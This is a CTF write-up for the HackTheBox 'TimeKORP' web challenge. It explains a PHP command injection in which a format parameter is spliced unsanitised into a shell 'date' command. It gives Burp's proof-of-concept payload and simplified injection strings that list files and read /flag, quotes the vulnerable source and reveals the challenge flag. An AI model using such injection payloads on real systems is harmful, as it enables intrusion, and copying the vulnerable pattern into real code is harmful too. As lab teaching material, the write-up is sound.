HackTheBox Cyber Apocalypse CTF 2024: TimeKORP
TL;DR
- Web app passes user-controlled
formatparameter todate. - Input is concatenated into a shell command without sanitisation.
- Single-quote escape allows command injection.
- Pipe used to execute arbitrary commands.
- Comment character prevents output redirection.
cat /flagreveals the flag.
Video Walkthrough
Description
Are you ready to unravel the mysteries and expose the truth hidden within KROP’s digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.
Solution
First things first; download the source and run the local docker instance for easy/fast debugging.
It's also a good idea to check the site functionality before reviewing the source code so that things fall into place more easily.
The site displays the time (http://127.0.0.1:1337/?format=%H:%M:%S) or date (http://127.0.0.1:1337/?format=%Y-%m-%d).
Opting for the lazy route, I check the burp scanner and find some interesting results. The first is XSS (reflected), presumably not much use as there was no admin bot to submit a URL to. The second is command injection 👀
Here's the URL-decoded PoC from burp:
/?format=%H:%M:%S|echo kefbjki4ag d6tyxfigki||a #' |echo kefbjki4ag d6tyxfigki||a #|" |echo kefbjki4ag d6tyxfigki||a #
The result indicates that the echo kefbjki4ag d6tyxfigki command did indeed execute.
</span> kefbjki4ag d6tyxfigki<span class='text-muted'>.</span>
The payload syntax/length is a little confusing so I keep removing elements and re-testing to ensure the command still executes. The attack can be simplified to:
/?format=%H:%M:%S' |ls #
If we URL-encode it it lists the views directory. If we look around for a while we might not see the flag. Let's just check the source code and see the Dockerfile has the following line.
# Copy flag
COPY flag /flag
Therefore, we can print the flag with this payload to retrieve the flag.
/?format=%H:%M:%S' |cat /flag #
We've already solved the challenge but why not review the vulnerable source code. Notice TimeController.php processes our vulnerable GET parameter (format).
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
It passes our user input (🚫) to the TimeModel.php constructor which then executes the command.
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
So, assuming we submit format=%H:%M:%S' |cat /flag #, the command property of the object will be:
date '%H:%M:%S'' |cat /flag # 2>&1
Due to us closing off the string and inserting a pipe character, we were able to inject a malicious command! Crucially, we also needed to add a hash character afterwards, to prevent the output from being redirected.
Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}
